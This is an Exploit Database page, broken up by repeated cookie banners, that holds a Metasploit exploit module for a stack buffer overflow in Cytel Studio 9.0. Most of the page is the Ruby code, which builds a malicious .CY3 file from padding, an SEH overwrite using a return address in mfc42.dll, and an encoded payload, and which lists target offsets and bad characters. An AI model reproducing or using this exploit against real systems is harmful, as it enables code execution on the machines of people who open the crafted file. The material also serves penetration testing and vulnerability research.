



EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPLOIT MANUAL



SUBMISSIONS



**Cookiebot**  
by Usercentrics

**This website uses cookies**

We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you've provided to them or that they've collected from your use of their services. You consent to our cookies if you continue to use our website.

[Show details](#) >

OK

Do not sell or share my personal information

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLOIT MANUAL

 SUBMISSIONS

# Cytel Studio 9.0 - '.CY3' Local Stack Buffer Overflow (Metasploit)

**EDB-ID:**

18027

**CVE:**

**EDB Verified:** 

**Author:**

[METASPLOIT](#)

**Type:**

[LOCAL](#)

**Exploit:**  



**Cookiebot**  
by Usercentrics

**This website uses cookies**

We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you've provided to them or that they've collected from your use of their services. You consent to our cookies if you continue to use our website.

[Show details](#) >

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLOIT MANUAL

 SUBMISSIONS

```
##
# $Id: cytel_studio_cy3.rb 14041 2011-10-24 01:39:11Z sinn3r $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::Remote::Seh

  def initialize(info = {})
    super(update_info(info,
      'Name' => 'Cytel Studio 9.0 (CY3 File) Stack Buffer
Overflow',
```


**Cookiebot**  
by Usercentrics

### This website uses cookies

We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you've provided to them or that they've collected from your use of their services. You consent to our cookies if you continue to use our website.

[Show details >](#)

```
['URL', 'http://alugi1.altervista.org/adv/cytel_1-
adv.txt' ],
  ],
  'DefaultOptions' =>
  {
    'EXITFUNC' => 'process',
    'DisablePayloadHandler' => 'true',
  },
  'Payload' =>
  {
    'Space' => 1000,
    'BadChars' => "\x00\x09\x0a\x0b\x0c\x0d\x1a\x20",
  },
  'Platform' => 'win',
  'Targets' =>
  [
    [
      # File version 8.0.0.1
      'Cytel Studio 9.0',
      {
        'Ret' => 0x73e58e01, # p/p/r mfc42.dll
        'Offset' => 500
      }
    ],
  ],
],
```



EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPLOIT MANUAL



SUBMISSIONS

```
'Privileged' => false,
'DisclosureDate' => 'Oct 02 2011',
'DefaultTarget' => 0))

register_options(
  [
    OptString.new('FILENAME', [ true, 'The file name.',
'msf.cy3' ]),
  ], self.class)
end

def exploit
  cy3 = "90\n150 1\n1\ntest\n"
  cy3 << rand_text_alpha_upper(target['Offset'])
  cy3 << generate_seh_record(target.ret)
  cy3 << rand_text_alpha_upper(8)
  cy3 << payload.encoded
  cy3 << rand_text_alpha_upper(5000 - cy3.length)

  print_status("Creating '#{datastore['FILENAME']}' file ...")

  file_create(cy3)
end
end
```

Cookiebot  
by Usercentrics

### This website uses cookies

We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you've provided to them or that they've collected from your use of their services. You consent to our cookies if you continue to use our website.

[Show details](#) >

Sites ▾

Solutions ▾



EXPLOIT DATABASE BY OFFSEC

[TERMS](#)[PRIVACY](#)[ABOUT US](#)[FAQ](#)[COOKIES](#)

©

[OffSec Services Limited](#) 2026. All rights reserved.